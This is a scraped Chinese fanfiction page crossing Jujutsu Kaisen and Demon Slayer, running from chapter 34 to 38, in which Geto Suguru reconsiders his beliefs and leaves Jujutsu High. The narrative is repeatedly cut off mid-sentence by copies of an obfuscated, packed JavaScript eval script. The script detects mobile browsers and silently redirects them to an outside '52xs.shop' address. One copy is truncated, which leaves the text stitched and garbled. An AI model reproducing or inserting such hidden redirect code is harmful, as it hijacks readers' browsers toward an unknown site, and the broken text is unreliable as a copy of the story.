;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468313|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收起了脸上的笑。 此时此刻,杵在一旁观看了全程的五条悟: (日式粗口)这小姑娘胆识过人啊。 行,要是等会这老东西还要发疯,我保你一手。 在场所有人,禅院家的族人,包括五条悟,都以为鬼舞辻无惨会直接解决这对本就不幸的姐妹。 但事实是,鬼舞辻无惨定定地看着对方,良久,并没有出手,反而是笑的更平和了。 五条悟:? “很好的恨意,我有些感兴趣了。” 禅院真希一咬牙,总感觉自己的全部恨意像是打到棉花上一样,不疼,但难受的让人想把他狠狠揍一顿,来发泄心中的不满。 “不过这还远远不够。” 五条悟:等等,所以你是……受虐狂吗? 当然,这话五条悟不敢当面说,只是在心里暗暗吐槽到。 “想曾经,我可是被无边的、绝对的恨意追逐了上千年。” 鬼舞辻无惨轻声叹息,感觉生活果然不能一成不变。 “所以,我不介意两位把我当成最终的敌人,因为我向来知晓这一点。” “那么,另一个疑问:无论如何,绝对,不会放弃彼此吗?” 姐妹俩相视一眼,并不清楚对方脑子里在思考些什么,但不约而同地用力点了下头。 弱者。 恨意。 弱者的恨意连绵不绝,药剂,阴招,纠缠,至死方休。 爆炸的火焰,逐渐破碎的无限城,和…… 天边,东方那光亮起的地方。 太阳照常升起。 太阳终将升起。 所以,那光芒之下,众生平等。 鬼舞辻无惨低声轻笑。 死亡终将如期而至,他始终知晓这一点。 鬼舞辻无惨将目光转向禅院家家主。 “这对姐妹的身份不一般吧?在前些日子,我杀的人之中,是否有她们的血亲?” 眼见禅院家家主点头,鬼舞辻无惨并没感觉到任何不满。 “正好,新仇旧恨可以一同结算,我对此并不介意。,” “如今,当由我发出提问。” “愿意跟我走吗?” 禅院真希死死盯着他的眼睛,心里的决意反而有所动摇。 但今日之事一出,所有族人都知道,她们姐妹二人心无禅院家,她们的处境反倒是会更加艰难。 但如此,一无所知,前往恶的中心,就可以高枕无忧吗? 答案是否定的。 而这时,禅院真依出声,握住了她的手。 “姐姐。” 禅院真依注视着她,向她说明。 “我们要离开禅院家。 我们要一直在一起。” 禅院真希闭上眼,缓缓呼出一口气。 随即,她的目光如炬,直直看向那双血色的眸子。 “我愿意。” 然后,是禅院真依。 “我也是。” 很好。 加茂家之行,两人拐回来一个小孩。 禅院家之行,又拐回来俩。 把两姐妹送上了去高专的车后,两人重新蹲回禅院家门前的小角落。 “你这人心思还真是难猜。” 五条悟无聊地戳着鬼舞辻无惨的腿。 34.第 34 章 鬼舞辻无惨踹了他手臂一下,成功让五条悟炸毛。 “我倒是觉得我的想法挺好猜的。 就比如现在,我不信你不知道,我会让你滚远点。” 五条悟笑的十分灿烂,一点也没考虑对方确实很烦自己这个现实。他一下子跳起来,并用手臂怼了一下鬼舞辻无惨的肩膀。 “你受虐狂啊,逗人家小姑娘干什么?” 鬼舞辻无惨默默远离他两步,无奈五条悟下一秒就追了上来。 “天与咒缚可不是什么小姑娘,我期待她给我带来的表现。” 五条悟叹了口气,选择不和他死磕。 “对对对,你说得对。” 五条悟:微笑。 果不其然,被对方无视了。 但也没什么关系,反正这两天的经历已经够充实了的,而且昨夜还一宿没睡,有反转术式也不能这么搞的嗷。 五条悟昂着头打了个哈欠,随即从口袋里掏出手机,准备叫个车把自己送回高专补觉。 然而,掏出手机一看, 未 接 来 电 。 是家入硝子的,因为手机静音了,刚刚没听见,但对方并没有再打第二通电话,估计也不是什么非常重要的事。 这个观念一直持续到他看见家入硝子发来的信息,上面清清楚楚写着一行字: 【打电话不接,好你个五条,那这样,夏油的那封退学前的告别信,我就帮你扔了哈。】 人类的阅读速度很快,整理信息的能力也很迅速,所以直到五条悟意识到自己看了什么的时候,已经晚了。 五条悟:什么?退学?!谁?杰??? 五条悟顿时五官狰狞,连点开通话界面,打给夏油杰。 还没等对面说话,五条悟顿时就是一个吼出声。 “杰 ! ! ! ! 你在说什么啊———— 谁要退学?你吗?啊? 你等着我立刻就回去嗷!” 五条悟风一样地瞬移走了,行动轨迹扬起一阵风,鬼舞辻无惨叹了口气,揉了揉耳朵,感慨来之不易的清静。 夏油杰挂掉电话,定定地注视着既熟悉又带着点陌生的校园,良久,还是感叹,自己果然舍不得这里。 舍不得这里的环境、氛围,也舍不得这里的人。 但他有自己的事要做,身在局中,许多事往往身不由己,是时候跳出这个局面了。 一段时间前。 夏油杰昨夜同样一宿没睡,再加上这几天经历离奇曲折,跌宕起伏,基本没睡过几场好觉,眼下的黑眼圈重的可以无缝出演熊猫,连声音也变得蔫蔫的,没了活力。 不过九十九由基和他倒是两个极端,看着就活力满满,一头金发都带着旺盛的生命力。 “那前辈是为什么脱离咒术高层,自己单打独斗呢?” 九十九由基撇开最嘴,右手摸了两下下巴,脑子沉浸到几年前的事情,没用多久,就释然了,用像是跟小辈们打趣一样的语气回答到。 “嗯……也没有多大的原因吧,就是想自由一点,有些事情想自己去做。” “不过话说回来。”九十九由基侧过身子看着他,将话题转移到夏油杰身上,“说起高层,昨天你是不是申请过会面来着?” “是啊。”夏油杰没什么好隐瞒的,“说实话,早一点的时候,高层的态度不太对劲,我能感觉得出来,在我拒绝他们的拉拢后,我差点被他们软禁起来。 直到,稍稍晚一点的时候,高层那边才松口。” “哎呀,很正常的啦。”九十九由基拍拍他的肩膀,用自己的方式安慰了他两句,“那群老东西整天就喜欢搞权力斗争,拉拢你未果后恼羞成怒,完全有可能的嘛。 不过呢,昨天晚上,五条悟在加茂家打闹了一通,连我这个边缘人士都得到消息了,估计高层那边是怕再对你出手,五条少主会一不做二不休,把整个高层连窝端了。” “这样,是悟啊。” 夏油杰摆出跟九十九由基同款的撑下巴姿势,声音淡淡的。 “前辈,我可以问您一个问题吗?” 九十九由基十分爽快地回答:“没问题,要问什么?” 夏油杰的思绪稍稍停滞,随即将高层所告知他的话转述出来。 “一年级的两位学弟,因为情报错误而差点丢了性命。 我因而希望和高层沟通,解决情报系统之中的谬误与差错的地方,这样,也是保障官方咒术师的生命安全。” 九十九由基点了点头,她似乎已经明白这位同学在纠结什么了。 “但高层那边给出了一系列的理由,什么由于早期程序的不完善导致积重难返、什么咒力设施的稀缺和难以修缮、信息传输网络牵涉人员过多、所需金额开销过大等等方面,将我的提议拒之门外。” “让我猜猜。”九十九由基摸着下巴看着他,“高层是不是还承诺了,会重视每一位咒术师的人生安全,若有意外殉职的咒术师,也会做好对其家属的补偿和救助措施?” 夏油杰点了点头,天真到让九十九由基忍不住笑出声。 “你真信了?” 夏油杰:“不该信吗?” 九十九由基并不打算去当这个,打破少年人美好幻想的人,但夏油杰目前的状况确确实实有些糟糕。 “嗯……官话啦,那群人说起话来都是一套一套的。什么,绝对不会放弃任何一位尽职尽责的咒术师、会竭尽全力为维持社会秩序而努力,之类的东西,只要他们想说,就可以说,骗骗人又没成本。特别是高层骗骗你们这种小年轻,就更容易了。” 九十九由基嘟囔了下嘴,有些不确定地问到:“你是平民咒术师,会对官方抱有幻想很正常。不过,五条悟不是五条家的少主吗?御三家之间的权利博弈,想来他是很熟悉的。” 夏油杰的眼神被微微放空,逐渐进入了一个虚无的境地。 “那他们那些用来搪塞我的说辞……” “简单点说就是。”九十九由基十分无情地指出,“完善一整个情报系统所需要耗费的人力物力财力过于庞大,与之相比,死几个咒术师,给点补偿金,这才花的了几个钱,一点都不划算。 而且,你不觉得,情报网漏洞百出,也很方便高层处理某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480675|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不服管教的咒术师吗?” 夏油杰的瞳孔猛的放大,直接扭头凝视着九十九由基。 总言之,他又联想到咒术高层对高专的针对,但九十九由基的态度,好像高层做出这种事情来并不奇怪,倒是显得他没有见识了。 最终,夏油杰也只能微弱地反驳道。 “怎么可以这样,那可是一条条生命……所有咒术师,不都是保护普通人的力量吗?怎么可以……” 九十九由基见他这幅模样,也不好再多说什么,只是更为用力地拍拍他的肩膀。 “拜托,如果高层真的把所有咒术师都一视同仁,一同培养的话,暗网上就不会有这么多诅咒师了。” 但是夏油杰就像是没感受到她的触碰,只是自己喃喃自语,偶尔对九十九由基所说的话有所反应。 “高层对非势力范围内的咒术师的打压,也会导致咒术师转而走向诅咒师的道路……” 九十九由基火上浇油:“可以这么说,你总结的很到位。” 夏油杰苦笑一声。 “那您呢?您也是因为这个原因离开的吗?” “有一点。”九十九由基摇头否认,“不过也没几个人能逼迫我站队就是了。最重要的还是,我的理念和高层的那些老东西实在沟通不来。” 夏油杰:“您的理念?” “对啊。”九十九由基兴致勃勃地跟他介绍,“高位者的权力博弈,我向来是看不上眼的。还是实验和实业更符合我的兴趣。比如,我最近在研究咒力和身体方面的联系,比如,咒灵,究竟是什么样的存在呢?如何彻底解决咒灵的危害?我最近在研究这个。” 夏油杰对此也很好奇。 “所以,您的研究成果是?” “你要说大进展嘛,那当然没有。”九十九由基轻笑,并不对此感到羞赧,“但在这可是有着一个绝佳的样本,你也知道的,禅院甚尔嘛,听说他最近和五条悟作战的时候,还死了一次,更让人有研究欲望了好吧?” 九十九由基颇有些遗憾地说:“不过可惜,他之前一直拒绝了我提出的研究提议,但我可不会就此放弃。毕竟,零咒力的天与咒缚的样本,全世界就这一个。” “研究禅院甚尔,是为了?” 九十九由基:“为了找出消除咒力的方法。” “是啊……”夏油杰的大脑放空,“没有了咒力,就不会有咒灵,咒术师也就不用牺牲了……” “不过,这很难哦。” 夏油杰苦笑一声:“当然了,听上去就像是个不可能完成的事业。” “但是!”九十九由基总是喜欢说话戛然而止,“伟大的事业是可以循序渐进的嘛。” “比如?”夏油杰略显疑惑地看向她。 “你我都知道,咒力本质上来源于负面情绪,而普通人无法控制负面情绪之中,也无法控制负面情绪中的咒力。 但说到底,负面情绪大多都是因为环境和他人的,只要通过改善这种容易产生负面情绪的环境,就能有效减轻咒灵带来的危害了,不是吗?” 夏油杰点点头,转而又叹了口气,引来九十九由基的询问。 35.第 35 章 夏油杰深深叹了口气,像是郁结于心口的困惑仍无法消散。 “咒术师,保护非术士么……” 咒术师的职责,就是保护普通人。 这个曾经可以脱口而出,被自己坚信的理念,在此刻,却连说出口都变得无比艰难。 他这迟疑的语气,引得了九十九由基的疑惑。 “怎么了?你很讨厌正论吗?” 夏油杰听着这话,莫名感觉到好笑。 于是他疲倦的脸上扯出一个无奈的笑,原本长而平的眼睛半合,被黑眼圈夺取了全部的神采。他们表情是麻木的,连一丝的变化都没有,仿佛就此停滞在这里。 这样的对话,上次听到是什么时候来者。 夏油杰沉寂的脑子慢悠悠地转了起来。 对了。 上次和悟一起打球的时候,自己还向他强调了,咒术师的职责就是保护普通人。那个时候,自己分明能言之凿凿地说着这些正论,是悟在反驳自己,毕竟悟最讨厌正论了。 现在呢,已经轮到别人怀疑他是否讨厌正论了。 自己明明是正论的支持者才对,怎么变了这么多呢? …… 那是什么时候的场景来着…… 夏油杰深深吐出一口气,彻底闭上眼。 对了,是在保护星浆体任务之前。 星浆体,小理子,天与咒缚…… 还有悟成了最强。 这才过了三四天吧?自己怎么变化这么大。 …… 虽然以前一直说着没关系,自己也在为悟高兴。原来他确实是放不下吗? 放不下自己被落在后面,放不下自己被零咒力打败…… 九十九由基安慰地拍了两下他的肩膀。 “见面的时候就发现了,看你魂不守舍的,怎么,有心事? 还是说,讨厌非术士?” 夏油杰摇了摇头,不是反驳,而是表示,自己也并不知晓。 “……我不知道。” “说来听听呗。”九十九由基并没有嘲笑他的纠结,“毕竟虽然我们都是特级,但姐姐好歹比你多了几年的阅历。 说来听听,咒灵操使在烦恼些什么?” 夏油杰没敢看九十九由基的眼睛,甚至不敢将自身的表情整个展现给对方,毕竟这样,自己脸上的软弱便一览无余。 夏油杰只是保持着原有的姿势,十指交叉,手臂搭在腿上。然后他低着头,只给九十九由基露出一个侧脸。他沉默良久,好不容易张开嘴,却也只是流露出一声叹息。 下一秒,夏油杰才缓缓开口说来。 “我……我搞不懂。 我本来以为,咒术师的存在是为了保护非术士。 但最近在我心中,非术士的……价值,产生了动摇。 ………… 因弱小而高贵,因弱小而丑恶。 我开始难以区分和接受这两者了。 我看不起非术士,却也否定这种看不起。 但终点处的风景确实模糊不清的。 我搞不清哪一个才是我的真心。” “这样啊。” 九十九由基转过身子,双手交叠撑着下巴,定定注释着面前狭长的走廊。 “有没有可能,这两个都是你的真心。” 夏油杰浅浅扬起一个笑容,面上略显无奈。 “那这也太矛盾了吧,前辈。” 九十九由基冲他挑了挑眉,“人本来就是矛盾的呀。” “而这两种截然不同的选项,此刻在你内心达成了长久的争斗。但现在的你,并没有能力为自己选择前方的道路。 总而言之,你缺少一些阅历。” 九十九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488971|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由基握起他的手,成功把夏油杰吓了一跳。 “如果你感觉身边的事件无法令你做出抉择的话,不如跟着我干一段时间? 我手下的企业正好缺人。” 夏油杰叹了口气,哭笑不得。 “我怎么感觉,您就是想着薅劳动力来的。” “话不能这么说。”九十九由基凑近了些,煞有其事地补充到,“人往往在经历一些重大事件,特别是和以往观念大相径庭的事件后,才会对改变、乃至挑战自身曾经的观念。 想想看,这段时间经历的事情,是不是在挑战你的固有观念。” 夏油杰注视着对方,有些存疑地点点头,随后又确定下来,补充到:“您说的对。” “曾经的你认为咒术师的职责就是保护非术士,而这段时间的经历,使得你对这种观念产生了质疑。 那最好的方法,莫过于去经历更多的事,借此,在今后做出最适合你的选择。” 九十九由基微笑道:“我说的有道理吗?” 夏油杰慢慢点点头,算是赞同了对方的观念。 “正好呢,我在国内和国外的事务都缺人去打理,你也需要一个能够接触更多世界的平台,我们相互帮助嘛。” 九十九由基双手一拍,觉得自己这个决策简直是太天才了,白赚了一个特级来给自己帮忙。 “而且,我又不是不给你工钱。不会让你打白工的啦。” “当然,你也不用现在就回复我。”九十九由基掏出手机,解锁后递给对方,“加个联系方式?等你有决定之后再联系我也行,反正我这段时间还要留在这边办点事情。” 夏油杰没有拒绝,二人交换了联系方式。 最后,九十九由基骑着她的摩托车离开,像风一样的速度,正如她来时的样子。 夏油杰注视着她离去,而后转身。 36.第 36 章 “硝子,你喜欢咒术师的工作吗?” 夏油杰坐在窗户上,双手扒着窗沿,像是不经意间的疑问。 家入硝子戴着口罩,穿着医护服,专注地盯着手上的医疗器材。 听到夏油杰这番话,家入硝子一口气没喘上来,呼吸卡了一瞬,然后重重叹了口气,把头扭过去,上下唇抿紧。虽说带着口罩,但眼中的无语却是明晃晃地透了出来。 “你几个意思?” 夏油杰右手撑着脸,连忙解释。 “我就是问问。” 家入硝子眯起眼睛打量了他几眼,又叹了口气,声音疲倦。 “为什么要喜欢?” “留在后方治疗,非必要不能离开,连跟三年级的学姐们出去逛街都要提前申请。” 家入硝子说了一半,就没有再继续了,只是洗了洗手,收拾好桌上的摆设。 “当然,我也不是天天都想逛街。更希望晚上能睡个好觉,不要整天三更半夜地把人弄醒就不错了。” 家入硝子捂着嘴打了个哈欠,见夏油杰还呆呆地坐在那里,愈发觉得无语,直接伸手赶人,总而言之自己在忙的时候见不得旁人清闲。 “诶诶诶,别推。” 夏油杰扒着窗户沿,“那就不能休息一段时间吗?毕竟我和悟之前有段时间也天天翘任务来着。” 家入硝子瞪了他一眼。 “嗯,说的不错,临时喘口气而已,高层不会放人的。” 夏油杰眨巴眨巴眼睛,就见着家入硝子把窗户砰的关上,还上了锁。 ………… “灰原,昨天的事之后……你还打算接着干咒术师吗?” “嗯?什么……”灰原雄挠了挠头发,皱了下嘴,“为什么不当咒术师了呢?” 夏油杰坐在他面前,神情放松。 “因为,你差点死掉了吧?继续做下去,不会害怕吗?” “害怕的话……”灰原雄眼睛上撇,摸着下巴思考了一会,声音没有发生丝毫变化,“肯定也有,但是,也还好吧?毕竟我还活着,还拥有了超超超超级厉害的再生能力。” 灰原雄转头去看他,笑容灿烂。 “家入学姐说我超级特殊哦!我也觉得。” “……不会觉得不值吗?” 夏油杰蓦地感觉自己的疑问目的性太强了,又不知道如何掩饰,于是只能语气干巴地补了两句。 “嗯……毕竟你差点死掉,但你在保护的人却对此一无所知。” 灰原雄一拍手掌,清脆的声音把夏油杰吓了一跳。 “怎、怎么了吗?” 灰原雄凑过去看他,“对哦,我现在才想到。” 夏油杰有些摸不清他的思路,“想到什么?” “大家的想法都是不一样的吧?”灰原雄笑得很开心,一点都没有死里逃生的后怕感,反倒是有些不好意思地拍了拍胸口,“我没什么大志向,或者说,我本来就不是会思考很多的人。” “对于我来说呢,努力去做自己能做到的事,这种感觉真的很不错!” “是吗……”夏油杰轻轻笑了起来,额头抵着手背,轻声叹息,“你说的对啊。 但我又能做些什么呢?” 就算再怎么大大咧咧,灰原雄也感觉到了夏油杰现在心情不对,于是他的语气变得小心翼翼起来。 “夏油学长最近,是有什么烦心事吗?” 烦心事? 如果是放在之前,夏油杰绝对不会和灰原雄谈论自己的事,还是自己最近一直在纠结的理想和世界观的问题,毕竟这些属于自己的内在思考,而灰原雄又是学弟,实力和阅历都不及他。 夏油杰承认,自己不想在学弟面前露出脆弱的一面,因为那样会让自己看上去不是很靠谱。再者,夏油杰也真心会觉得,对方给不出什么有用的建议。 但是现在…… 自己看不起弱者,但也否定这种看不起,既然二者都是真心,不如一同接纳下来。 而且,灰原雄经历了死亡。 经历了死亡却仍怀赤子之心,他的精神世界,确实强大。 思考得少一些,会让自己变得轻松吗? 但他做不到停止思考。 ……对啊,要思考。 从头开始吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494922|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏油杰猛地感觉自己的思绪在被拉扯,在脑海里分成两个个体,冰冷的乱流正在冲刷着思绪本身。 那么首先,提问:转折点,也就是烦恼的序章,是什么事件? 回答:禅院甚尔,天与咒缚。零咒力的猴子,在悟和自己的手里,杀死了天内理子。 疑问:上述回答之中存在『异常点』。『猴子』这一对普通人的蔑视性称呼,称呼并不符合『夏油杰』个体的一贯理念,『普通人』这一个体在你心里的地位,为什么发生了转变。 回答:……因为『盘星教』对无辜的『星浆体』下悬赏,因为『天与咒缚』为自身的卑微而高贵,因为……。 追问:以前,『夏油杰』和普通人就没有冲突了吗? …… 有。 孩童时代,即进入高专前,在夏油杰找到『同类』之前,由于能看见普通人无法看见的怪物,他一直融入不了同龄人。哪怕夏油杰能将自己伪装出和善的样子,他在内心却也看不起那些,同怪物一起生活但对危机一无所知的普通人。 但那时为什么没有起冲突? 因为夏油杰将自己当做与众不同的救世主,高高在上,俯视众生。 自己并不将普通人的不理解放在眼里。 那为什么现在,普通人身上的恶就如此凝聚,让人无法忽视了呢? ————自己不再是救世主,无法再忽视普通人的恶意。 从幼时被父母和同伴的不理解,然后封闭自己,自然而然地形成了一种固有观念。因为生活在世上的众多普通人,长时间处于茫茫不可知的状态中,而自己以极高的天赋,异于常人的能力,为自己框定了命运。 位于理想之天平的另一侧,是他的实力。 然后现在,平衡被打破,理想再无事实加持,因而沉甸甸地坠地。 在逻辑严密的因果线上,有一个环扣遭到毁灭,因而整个逻辑全线崩塌。 那么现在,最重要的就是。 夏油杰定定地注视着仍然在等待答案的灰原雄,语气迟疑。 “灰原,跟我在一起相处,你会觉得开心吗?” 37.第 37 章 “灰原,跟我一起相处,你会觉得开心吗?” 听见他这样子问,灰原雄顿时瞪大了眼睛。 “当然开心了!” 夏油杰微笑着看向他。 “是吗……那具体是在哪个方面呢?” 灰原雄撑着下巴,面色苦恼,像是不知从何处说起。 “很多方面啊…… 比如夏油学长很关照我们一年级的,不管是战斗方面还是生活方面,都给了很多帮助,很多建议! 刚进入高专的时候,其实我也有点担心,担心适应不了这里的生活啊,跟不上大家都节奏。” “是吗……我倒是没有看出,灰原也会担心人际关系之类的。” 像是被勾起了什么美好的回忆,夏油杰也被灰原雄的笑声感染了。 “嘿嘿……”灰原雄的视线往旁边撇了一下,像是有些不好意思,“可能是我看着就比较是不会在意这方面的人吧……不过刚入学的时候肯定会这么担心,我也会,现在嘛,就不会了。” “你喜欢在高专的生活吗?” 灰原雄冲他竖起了大拇指。 “超级喜欢!” 夏油杰身体放松地靠在椅背上,面色柔和。 “是啊,我也喜欢。” 浅浅的寂静蔓延开来,窗外,夏日炎炎,阳光依旧刺眼,绿荫下,有谁在歌唱。 ………… “其实,我也没做成什么的吧?” 夏油杰曲起右臂,后脑勺枕着臂弯,连声音都变得轻飘飘的。 “入学一年多,也只是做做高层派下来的任务,跟悟拆拆学校、熬夜打游戏……跟硝子拌嘴,跟一年级的学弟打闹…… 但是我好开心。” 夏油杰蓦地感觉自己脑海里涌上来一些情绪,不像誓言那般坚定,不像梦想那般遥远,也不如要保护普通人那般大义凛然…… 但细细密密的,像是雨天水面上的泡沫,渺小而悠长,慢慢填满了整个心房。 让人想哭,也让人幸福。 夏油杰难得理解到,原来人在幸福的时候,也是会落泪的。 “……我真的好开心,我真的……真的很喜欢在高专的生活,喜欢和大家一起的时候。” 夏油杰感觉自己有些难为情,在后辈面前落泪就更难为情了,所以他仰着头,视线从清晰变向模糊,又变得清晰起来。为了掩饰的颤抖,声音也变得悠长而缓慢。 然后他又想,自己在保护普通人的时候,有像这样幸福过吗?有像这样幸福得想哭过吗? 咒灵球真的很难吃,但他还是强迫自己去吃,但是自己有的时候甚至连凉面都吃不下去了,但是他还是强迫自己去吃。 为什么要强迫自己去吃呢? 因为他的咒术就是这样,可能别人需要冒生命危险才能降服的咒灵,他只要吃点真的很难吃的东西就够了。 可是咒灵球真的很难吃。 可是他还是要吃。 因为夏油杰想变强。 变强后去保护普通人吗?自己这么喜欢战斗,是因为这样能保护普通人吗? 夏油杰眨了眨眼,晶莹的泪水从眼角滑落,寂静无声。 我不知道。 ………… 少年闭上了眼睛。 但是和悟一起战斗真的很开心,消灭完咒灵和他一起打闹着回高专也很开心,无缘无故和悟战斗破坏校园也很开心…… 捉弄硝子很开心,指导学弟也很开心,惹夜蛾老师生气也很开心,不管不顾按自己意愿去做事情的时候更是开心。 天呐,我原来这么喜欢这些一点都不严肃的事情吗。 这世间让人有所眷恋的,不一定是什么宏大的、高尚的誓言,或许只是一点一点、毫不起眼的微小露珠聚集在一起后,就能透出的令人心甘情愿沉溺其中的光亮。 但哪怕是这种微小的事物,也有人不愿意让它留存。 夏油杰的目光陡然冷了下来,视线略显僵硬地向上移动,最终落在了那直直对准二人的摄像头上面。 无言以对,无语沉默。 但夏油杰总感觉,那背后透露出了令人嫌恶的目光。 高专的众人所坚持的,大多都是最为朴素的善恶观,我们偏居一隅,按部就班,但往往身不由己,成为各方势力博弈的棋子。 谁在高高在上?谁在监视一切?谁一直妄图剥夺众人最为在意的生活? 身在局中,再看全局,有如雾里看花,固不真切。 得有人能跳出这个局面,去对抗那些视线。 谁有这个能力。 夏油杰撑着侧脸,唇角微微勾起。 虽说我比不上悟,但好歹,特级的证书也要批下来了。 而且,悟毕竟是御三家的一员,有更需要他的地方。 “灰原。”夏油杰转过头去,温柔地对他笑道,“我们一直都会是好朋友的,对吧?” “当然了!”灰原雄急急忙忙地答复,从对方的言语和态度上觉察到了什么,“额,夏油学长……是想做些什么吗?” 夏油杰略显轻松地点了点头,心里想着,悟会理解自己在做些什么的,就是可惜,说不定高层会限制大家和自己的联络,不过这也是无法避免的事。 夏油杰甚至带着些恶意去想,不如直接把高层的人杀个精光算了,反正悟昨天不也是在加茂家捣乱了吗。 但转念又一想,明面上还需要他们去领大局,至少还有点用。 等没用的时候,就随便吧。 ……………… 夏油杰的行动效率向来高效,想到什么就去做,于是火速地去找夜蛾老师递交了退学申请,在和夜蛾老师进行了长达近一小时的对话后,对方总算是松口了。 毕竟夏油杰曾经是个从来不会和老师谈心的“问题学生”,而这近一个小时的长对话中,夏油杰明里暗里透露出自己准备做些什么的意图,并将九十九由基搬了出来。 他的申请肯定是会被高层那边扣下的,想都不用想,高层才不会允许又有一个特级脱离他们的监控范围内,还和另一个本就“不服管教”的特级站在一起。 但那又怎么样呢? 不爽?可以直接线下找他,就怕对方不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502802|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢。 已经确定好接下来的步伐后,夏油杰准备先把高专的事情处理一下。 其实,夏油杰本身不是一个喜欢和别人倾诉的性子。这和他的身份,给别人的一贯印象也有关系。在普通人眼里,夏油杰是品学兼优的好学生,在父母眼里夏油杰是争气但有些怪异、还不服管教的长子,在高专众人眼里,夏油杰和五条悟担了将近两年的最强之名。 大家都会认为他没什么好倾诉的,夏油杰自己也这么认为。 但真的到了离开的时候,心里却多出了蛮多想说的话的,但当面说这些,无论是正襟危坐还是扭扭捏捏的态度,都容易让人起鸡皮疙瘩。 最好的方法就是手机留言,定时发送,方便快捷。 但夏油杰觉得他们看完之后应该会无缝衔接,怒从心起,于是狂打自己的电话……咳咳,这么一想,其实纸质书信也还不错,更有仪式感,而且对方如果能安安稳稳地看完一整封信,而不是怒而把信撕掉的话,其实也说明对方还是能忍受自己的。 于是夏油杰抱着反正都要退学了,不说白不说的心理,越写越起劲,包括但不限于打翻过硝子的化妆品、和五条悟偷穿硝子的衣服,因为他俩骨架过大,硬生生把硝子的衣服撑大了,导致硝子莫名其妙痛失两件校服之类的,夏油杰的手机里现在还有五条悟穿女装的照片……等等,不对,悟手里也有自己的照片,这条删掉重写,不能让硝子找五条悟看,不然整个高专都要传遍了。 …………算了,写都写了,大不了自己也把五条悟的照片转到高专群里。 有关于夏油杰想验证一下自己的咒术能不能对咒骸起作用,于是偷偷拿了夜蛾老师的几个成品来做实验,最后两个咒骸一点没剩之类的。 有关于偷偷往灰原带回来的,给五条悟的伴手礼里面加芥末,成功在不费一只咒灵的情况下把五条悟辣到流泪,事后五条悟拉着灰原雄恶魔训练了将近一周的时间。对了,这封是给灰原雄的。 有关于将夜蛾老师交代给自己的事推给七海建人去做,并美其名曰这是老师考验新生的措施罢了,经常害得七海建人带着灰原雄一起加班。 夏油杰:我去,原来我这么不是人的吗? 夏油杰思索片刻,觉得还是设个束缚,让这些信过段时间才能被拆开算了。 至于五条悟…… 自己在他这里哪有什么秘密,就大发慈悲地夸夸他算了。 夏油杰操持着一张很能迷惑人心的脸,向众人告知了自己即将离开高专的消息,并将离别信送到他们的手里。 眼见同学们肉眼可见的伤感,夏油杰只希望他们在看到信的时候,还能保持这种伤感。 不过自己现在并不是很想见五条悟,总有一种自己背叛了他俩的友情的感觉。 但这样也不错,给点时间让我们都冷静一下,总不能一直玩闹下去了。 但怕什么就来什么,五条悟的电话铃声响起的时候,夏油杰天都塌了,于是站在台阶上仰望天空,顺便装深沉。 最后想了想,还是见一见吧。 夏油杰颇为忧伤地叹了口气。 38.第 38 章 等五条悟从山下冲上来的时候,夏油杰已经坐在楼梯顶上等他了。 “嗨,悟。”斜阳落下来,像是旧日的余晖,“总感觉好久不见了。” 五条悟注视着他,步伐都变得慢了下来。 那人固执地追寻着已然逝去的曾经。 良久,两人都没说话。 寂静蔓延,却比吵闹之声更为悠长。 五条悟叹了口气,身体仿佛脱力似的摔坐在跟夏油杰同一阶上,右手撑着侧脸,面色不善。 